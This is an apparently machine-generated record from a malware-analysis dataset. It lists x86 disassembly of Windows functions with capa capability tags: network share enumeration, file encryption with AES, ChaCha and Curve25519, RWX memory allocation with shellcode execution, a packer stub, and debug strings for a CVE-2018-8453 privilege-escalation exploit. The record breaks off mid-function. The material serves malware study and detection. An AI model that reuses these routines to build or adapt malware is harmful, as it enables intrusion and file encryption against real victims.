joyce8/EMBER2024-capa huggingface dataset:
Function at 0xbd5152
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_MoveFileW]
mov edi, 0xbe0d60
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
mov eax, str.ERROR
test esi, esi
mov ecx, 0xbdbf30
cmove ecx, eax
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.rename:_s:_s:_s_r_n
push 8
call fcn.00bd1b2c
add esp, 0x1c
push edi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0xbd51af
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0xfffe
call fcn.00bd1c41
mov esi, eax
pop ecx
test esi, esi
je 0xbd5242
push edi
lea eax, [ebp - 0x10]
push eax
push 0xe
push 0xf
push 0xa36
push 0xbdff48
call fcn.00bd3185
xor eax, eax
mov word [ebp - 2], ax
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.00bd375b
add esp, 0x1c
push 0x5a
pop edi
jmp 0xbd5231
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0xbd5227
push dword [ebp + 8]
push esi
call fcn.00bd4e3b
movzx eax, word [esi + 8]
pop ecx
pop ecx
cmp eax, 0x61
jb 0xbd5227
cmp eax, 0x7a
ja 0xbd5227
and eax, 0xffdf
mov word [esi + 8], ax
inc word [esi + 8]
xor eax, eax
mov word [esi + 0xe], ax
push esi
cmp word [esi + 8], di
jbe 0xbd51f7
call fcn.00bd1c8e
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd5247
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push eax
push ebx
push 0
push 0
push dword [ebp + 0xc]
call dword [sym.imp.mpr.dll_WNetOpenEnumW]
test eax, eax
je 0xbd526e
xor eax, eax
jmp 0xbd53d4
or dword [ebp - 8], 0xffffffff
mov eax, 0x4000
push edi
push eax
mov dword [ebp - 0x10], eax
call fcn.00bd1c41
mov edi, eax
pop ecx
test edi, edi
jne 0xbd5298
push dword [ebp - 0xc]
call dword [sym.imp.mpr.dll_WNetCloseEnum]
xor eax, eax
jmp 0xbd53d3
push esi
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.mpr.dll_WNetEnumResourceW]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0xbd53b2
mov dword [ebp - 4], eax
cmp dword [ebp - 8], eax
jbe 0xbd5299
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0xbd52fb
test ebx, ebx
je 0xbd52e6
cmp dword [ebx + 0x14], 0
je 0xbd52fb
cmp dword [esi], 0
je 0xbd52fb
push dword [esi]
push dword [ebx + 0x14]
call fcn.00bd36fa
pop ecx
pop ecx
test eax, eax
je 0xbd52f8
lea eax, [esi - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00bd5247
add esp, 0xc
mov eax, dword [ebp - 4]
cmp dword [esi - 0x10], 1
jne 0xbd539f
mov ebx, 0xbe0d60
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push dword [esi]
push dword [ebp + 0xc]
push 0xbdbf78
push 8
call fcn.00bd1b2c
add esp, 0x18
push ebx
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
push 0xfffe
call fcn.00bd1c41
mov ebx, eax
pop ecx
test ebx, ebx
je 0xbd5399
lea eax, [ebp - 0x24]
push eax
push 0xe
push 0xb
push 0x209
push 0xbdff48
call fcn.00bd3185
xor eax, eax
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x24]
push eax
push ebx
call fcn.00bd375b
mov eax, dword [esi]
add eax, 2
push eax
push ebx
call fcn.00bd3654
push 0xbdbf74
push ebx
call fcn.00bd3654
push dword [ebp + 8]
push ebx
call fcn.00bd4e3b
push ebx
call fcn.00bd1c8e
add esp, 0x38
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x10]
inc eax
add esi, 0x20
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 8]
jb 0xbd52c1
mov eax, dword [ebp - 0x14]
cmp eax, 0x103
jne 0xbd5299
push edi
call fcn.00bd1c8e
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.mpr.dll_WNetCloseEnum]
neg eax
pop esi
sbb eax, eax
inc eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd53d9
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 1
push ebx
mov edi, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0xbd54b8
push esi
jmp 0xbd5441
cmp dword [ebp - 8], ebx
je 0xbd5452
push dword [ebp - 8]
call fcn.00bd1c41
mov esi, eax
pop ecx
test esi, esi
je 0xbd5441
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
push dword [ebp - 8]
push esi
push dword [ebp + 8]
call dword [sym.imp.winhttp.dll_WinHttpReadData]
test eax, eax
je 0xbd543a
mov eax, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x10]
push esi
call fcn.00bd1c8e
pop ecx
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.winhttp.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0xbd5400
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
jne 0xbd54ae
cmp dword [ebp - 0x4c], ebx
je 0xbd54ae
mov eax, dword [ebp - 4]
push ebx
push ebx
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0xbd54ae
push dword [ebp - 0x4c]
call fcn.00bd1c41
mov edi, eax
pop ecx
test edi, edi
je 0xbd54ae
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
mov esi, dword [ebp - 0x4c]
push eax
push esi
mov dword [ecx], esi
mov ecx, dword [ebp - 4]
push edi
push ecx
mov edx, dword [ecx]
call dword [edx + 0xc]
test eax, eax
je 0xbd54ae
push edi
call fcn.00bd1c8e
pop ecx
mov edi, ebx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop esi
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd5718
Capabilities:
Link many functions at runtime

Disassembly:
push esi
call fcn.00bd1aa3
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push str.core_init_____Program_initialization_r_n
push 8
call fcn.00bd1b2c
add esp, 0x10
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
pop esi
jmp fcn.00bd45ef

Function at 0xbd5752
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov ebx, 0xbe0d60
push edi
push ebx
call esi
push str._DBG_
push 7
call fcn.00bd1b2c
push str.start_LPE__cve_2018_8453__r_n
push 8
call fcn.00bd1b2c
mov edi, dword [sym.imp.kernel32.dll_LeaveCriticalSection]
add esp, 0x10
push ebx
call edi
call fcn.00bd5848
test eax, eax
jne 0xbd57d2
push ebx
call esi
push str._ERR_
push 0xc
call fcn.00bd1b2c
push str.LPE:_System_NOT_vulnerable_r_n
push 4
call fcn.00bd1b2c
push 0x49
push str.cve_2018_8453
push str.D:Coding_avBTDF17
push str._______S:_S:_lu_r_n
push 4
call fcn.00bd1b2c
add esp, 0x24
push ebx
call edi
xor eax, eax
jmp 0xbd5841
call fcn.00bd27c8
test eax, eax
je 0xbd57f5
mov ebx, 0xbc4600
mov dword [ebp - 8], 0xbdfefc
mov esi, 0x9600
mov dword [ebp - 4], 0x1b
jmp 0xbd580d
mov ebx, section..text
mov dword [ebp - 8], 0xbdff18
mov esi, 0x3600
mov dword [ebp - 4], 0x2f
push 0x40
push 0x3000
push esi
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0xbd57ce
push esi
push ebx
push edi
call fcn.00bd1cd2
push edi
push esi
push edi
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00bd4420
add esp, 0x20
push dword [ebp + 8]
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd5848
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
push esi
push 9
mov eax, 0x7e2
xor esi, esi
mov word [ebp - 0x10], ax
inc esi
pop eax
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 0xc], ax
push 0xb
pop eax
mov word [ebp - 0xa], ax
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
test eax, eax
jne 0xbd5893
xor eax, eax
jmp 0xbd599a
call fcn.00bd28b7
mov ecx, 0x501
cmp ax, cx
jbe 0xbd58b4
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.kernel32.dll_Wow64DisableWow64FsRedirection]
test eax, eax
je 0xbd5998
push 0x104
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
test eax, eax
je 0xbd588c
push ebx
push edi
lea eax, [ebp - 0x288]
push 0xbdbf74
push eax
call fcn.00bd3654
lea eax, [ebp - 0x288]
push eax
call fcn.00bd3804
lea ebx, [ebp - 0x288]
mov edi, 0xbdff48
lea ebx, [ebx + eax*2]
lea eax, [ebp - 0x5c]
push eax
push 0x1c
push 0xf
push 0x4f6
push edi
call fcn.00bd3185
xor eax, eax
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3c]
push eax
push 0x14
push 0xb
push 0x91e
push edi
call fcn.00bd3185
xor eax, eax
add esp, 0x34
mov word [ebp - 0x28], ax
xor edi, edi
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x80]
push eax
push 0
push dword [ebp + edi*4 - 0x1c]
lea eax, [ebp - 0x288]
push eax
call fcn.00bd3654
pop ecx
pop ecx
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesExW]
test eax, eax
je 0xbd5972
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_CompareFileTime]
xor ecx, ecx
test eax, eax
cmovns esi, ecx
xor eax, eax
inc edi
mov word [ebx], ax
cmp edi, 2
jl 0xbd593a
mov edi, dword [ebp - 0x14]
call fcn.00bd28b7
mov ecx, 0x501
cmp ax, cx
jbe 0xbd5996
push edi
call dword [sym.imp.kernel32.dll_Wow64RevertWow64FsRedirection]
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd5dd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, dword [ebp + 0x14]
test esi, esi
je 0xbd5e74
push ebx
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x44]
mov eax, ebx
sub eax, ecx
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0xc]
sub eax, ecx
push edi
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x44]
xor edi, edi
push eax
call fcn.00bd5f36
mov eax, dword [ebp + 8]
pop ecx
pop ecx
add dword [eax + 0x20], 1
jne 0xbd5e15
inc dword [eax + 0x24]
cmp esi, 0x40
jbe 0xbd5e4c
mov ebx, dword [ebp - 4]
mov edx, edi
mov edi, dword [ebp + 0x14]
lea ecx, [ebp - 0x44]
add ecx, edx
push 0x40
mov al, byte [ebx + ecx]
xor al, byte [ecx]
inc edx
mov byte [edi + ecx], al
pop eax
cmp edx, eax
jb 0xbd5e22
mov ebx, dword [ebp + 0x10]
sub esi, eax
add dword [ebp + 0x14], eax
add ebx, eax
add dword [ebp + 0xc], eax
add dword [ebp - 4], eax
mov dword [ebp + 0x10], ebx
jmp 0xbd5df9
test esi, esi
je 0xbd5e72
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x44]
sub eax, ecx
sub ebx, ecx
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x44]
add ecx, edi
mov al, byte [eax + ecx]
xor al, byte [ecx]
inc edi
mov byte [ebx + ecx], al
mov eax, dword [ebp + 0xc]
cmp edi, esi
jb 0xbd5e5d
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xbd5e98
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x100
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push esi
mov eax, dword [ecx]
mov dword [edx + 4], eax
mov eax, dword [ecx + 4]
mov dword [edx + 8], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0xc], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x10], eax
jne 0xbd5ecc
add ecx, 0x10
mov esi, str.expand_32_byte_kexpand_16_byte_k
jmp 0xbd5ed1
mov esi, 0xbdc148
mov eax, dword [ecx]
mov dword [edx + 0x2c], eax
mov eax, dword [ecx + 4]
mov dword [edx + 0x30], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0x34], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x38], eax
mov eax, dword [esi]
mov dword [edx], eax
mov eax, dword [esi + 4]
mov dword [edx + 0x14], eax
mov eax, dword [esi + 8]
mov dword [edx + 0x28], eax
mov eax, dword [esi + 0xc]
mov dword [0xbe0b7c], esi
mov dword [edx + 0x3c], eax
pop esi
pop ebp
ret
Function at 0xbd6bd7
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00bd6db6
mov edi, eax
add esp, 0xc
mov ebx, edi
mov dword [ebp - 4], edi
shl ebx, 2
test ebx, ebx
jle 0xbd6c4b
lea edx, [esi + 8]
add esi, 8
lea edx, [edx + ebx*4]
xor edi, edi
mov ecx, dword [esi - 8]
add edi, 4
mov eax, dword [edx - 8]
sub ebx, 4
mov dword [esi - 8], eax
mov eax, dword [edx - 4]
mov dword [edx - 8], ecx
mov ecx, dword [esi - 4]
mov dword [esi - 4], eax
mov eax, dword [edx]
mov dword [edx - 4], ecx
mov ecx, dword [esi]
mov dword [esi], eax
lea esi, [esi + 0x10]
mov eax, dword [edx + 4]
mov dword [edx], ecx
lea edx, [edx - 0x10]
mov ecx, dword [esi - 0xc]
mov dword [esi - 0xc], eax
mov dword [edx + 0x14], ecx
cmp edi, ebx
jl 0xbd6c09
mov edi, dword [ebp - 4]
mov esi, dword [ebp + 8]
cmp edi, 1
jle 0xbd6dad
add esi, 2
lea ebx, [edi - 1]
lea esi, [esi + 0x10]
mov edx, dword [esi - 2]
mov eax, edx
shr eax, 0x18
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi - 1]
mov ecx, dword [ecx*4 + 0xbdd558]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbddd58]
movzx eax, dl
mov edx, dword [esi + 2]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbde158]
movzx eax, byte [esi]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbdd958]
mov eax, edx
shr eax, 0x18
mov dword [esi - 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 3]
mov ecx, dword [ecx*4 + 0xbdd558]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbddd58]
movzx eax, byte [esi + 4]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbdd958]
movzx eax, dl
mov edx, dword [esi + 6]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbde158]
mov eax, edx
shr eax, 0x18
mov dword [esi + 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 7]
mov ecx, dword [ecx*4 + 0xbdd558]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbddd58]
movzx eax, byte [esi + 8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbdd958]
movzx eax, dl
mov edx, dword [esi + 0xa]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbde158]
mov eax, edx
shr eax, 0x18
mov dword [esi + 6], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 0xb]
mov ecx, dword [ecx*4 + 0xbdd558]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbddd58]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbdd958]
movzx eax, dl
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0xbde158]
mov dword [esi + 0xa], ecx
sub ebx, 1
jne 0xbd6c5a
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd7816
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push 0x20
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push eax
call fcn.00bd1cd2
mov al, byte [ebp - 1]
push dword [ebp + 0x10]
and byte [ebp - 0x20], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 1], al
lea eax, [ebp - 0x70]
push eax
call fcn.00bd7b72
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00bd7238
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00bd7447
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00bd808c
lea eax, [ebp - 0xc8]
push eax
push dword [ebp + 8]
call fcn.00bd78a1
add esp, 0x40
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0xbd8c4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
neg ebx
push edi
mov edi, dword [ebp + 8]
sub edi, esi
mov dword [ebp + 0x14], 0xa
mov eax, dword [edi + esi]
mov ecx, dword [esi]
xor ecx, eax
and ecx, ebx
xor eax, ecx
cdq
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
mov eax, dword [esi]
xor eax, ecx
sub dword [ebp + 0x14], 1
cdq
mov dword [esi], eax
lea esi, [esi + 8]
mov dword [esi - 4], edx
jne 0xbd8c64
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0xbd8c8f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0xbd8dc1
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
test ebx, ebx
jne 0xbd8cb7
test edi, edi
jne 0xbd8dc1
mov esi, dword [ebp + 0x18]
mov eax, 0xc8
cmp esi, eax
jae 0xbd8dc1
push eax
lea eax, [ebp - 0xcc]
push 0
push eax
call fcn.00bd1cf7
add esp, 0xc
cmp edi, esi
jb 0xbd8d23
mov eax, ebx
lea ecx, [ebp - 0xcc]
sub eax, ecx
mov dword [ebp - 4], eax
xor edx, edx
test esi, esi
je 0xbd8d08
mov edi, dword [ebp - 4]
lea ecx, [ebp - 0xcc]
add ecx, edx
mov al, byte [edi + ecx]
xor byte [ecx], al
inc edx
cmp edx, esi
jb 0xbd8cf3
mov edi, dword [ebp + 0x14]
lea eax, [ebp - 0xcc]
push eax
call fcn.00bd8dcb
add dword [ebp - 4], esi
sub edi, esi
add ebx, esi
mov dword [ebp + 0x14], edi
pop ecx
cmp edi, esi
jae 0xbd8cea
mov al, byte [ebp + 0x1c]
xor byte [ebp + edi - 0xcc], al
xor byte [ebp + esi - 0xcd], 0x80
test edi, edi
je 0xbd8d55
lea eax, [ebp - 0xcc]
sub ebx, eax
xor edx, edx
lea ecx, [ebp - 0xcc]
add ecx, edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
inc edx
cmp edx, edi
jb 0xbd8d43
lea eax, [ebp - 0xcc]
push eax
call fcn.00bd8dcb
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
pop ecx
cmp edi, esi
jb 0xbd8d99
test esi, esi
je 0xbd8d81
push esi
lea ecx, [ebp - 0xcc]
push ecx
push eax
call fcn.00bd1cd2
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
call fcn.00bd8dcb
mov eax, dword [ebp + 8]
add eax, esi
sub edi, esi
mov dword [ebp + 8], eax
jmp 0xbd8d67
test edi, edi
je 0xbd8dae
push edi
lea edx, [ebp - 0xcc]
push edx
push eax
call fcn.00bd1cd2
add esp, 0xc
xor al, al
lea edi, [ebp - 0xcc]
mov ecx, 0xc8
rep stosb byte es:[edi], al
xor eax, eax
jmp 0xbd8dc4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x181c00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, 0x1a2c
mov edi, eax
mov dword [ebp - 8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x181c91
sub edx, edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
push ebx
mov edx, esi
shr edx, 8
mov dword [ebp - 4], edx
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and dl, bl
mov ebx, esi
mov ecx, eax
shr ecx, 8
and dl, cl
mov dword [ebp - 0x14], ecx
mov ecx, esi
shr ecx, 0x18
shr ebx, 0x10
and cl, bl
mov bl, byte [ebp - 4]
xor dl, cl
mov ecx, dword [ebp - 0x10]
xor dl, byte [ecx + edi]
mov ecx, dword [ebp - 8]
lea esi, [eax*4]
xor esi, eax
add esi, esi
and bl, cl
xor esi, eax
xor dl, bl
xor dl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x14]
shl esi, 0x14
or esi, dword [ebp - 4]
mov byte [edi], dl
inc edi
dec dword [ebp - 0xc]
mov dword [ebp - 8], esi
mov eax, ecx
jne 0x181c24
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x181ca0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [edx + edx]
xor eax, edx
shl eax, 4
xor eax, edx
and eax, 0xffffff80
mov esi, edx
shl esi, 7
xor eax, esi
mov esi, edx
shr esi, 8
shl eax, 0x11
or eax, esi
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx + 1], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
mov esi, eax
shr esi, 8
shl edx, 0x11
or edx, esi
mov byte [ecx + 2], al
add eax, edx
xor esi, esi
mov byte [ecx + 3], al
cmp dword [ebp + 0xc], esi
jle 0x181e2e
movzx ebx, byte [ecx + 2]
mov dl, byte [ecx + 1]
mov byte [ebp - 1], bl
movzx ebx, al
mov byte [ebp - 2], bl
mov edi, dword [ebp + 8]
movzx edi, byte [esi + edi]
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
add byte [ecx], al
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
mov bl, byte [ebp - 1]
add dl, al
add eax, edi
add bl, al
mov byte [ebp - 1], bl
mov byte [ecx + 2], bl
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shr ebx, 8
shl edi, 0x11
or edi, ebx
mov bl, byte [ebp - 2]
add eax, edi
add bl, al
inc esi
mov byte [ecx + 1], dl
mov byte [ebp - 2], bl
mov byte [ecx + 3], bl
cmp esi, dword [ebp + 0xc]
jl 0x181d62
xor edx, edx
cmp byte [edx + ecx], 0
jbe 0x181e6a
movzx esi, byte [edx + ecx]
lea ebx, [ebx]
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shl edi, 0x11
shr ebx, 8
or edi, ebx
add eax, edi
dec esi
jne 0x181e40
mov byte [edx + ecx], al
inc edx
cmp edx, 4
jl 0x181e30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x181e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab8
call fcn.0018b290
mov eax, dword [0x19003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp - 0x3aa0], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0x3a98], edx
mov dword [ebp - 0x3a94], eax
mov edi, edi
mov ecx, 0x3a34
cmp ebx, 0x3a34
ja 0x181ecf
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a90], ecx
mov dword [ebp - 0x3ab0], ebx
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3aa8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x181faf
mov ecx, dword [ebp - 0x3aa0]
lea edx, [ebp - 0x3a8c]
sub ecx, edx
mov dword [ebp - 0x3aac], ecx
mov edx, esi
shr edx, 8
mov dword [ebp - 0x3aa4], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x3ab8], ecx
mov ecx, esi
mov esi, dword [ebp - 0x3aac]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp - 0x3aa4]
xor bl, cl
mov ecx, dword [ebp - 0x3aa8]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a8c]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
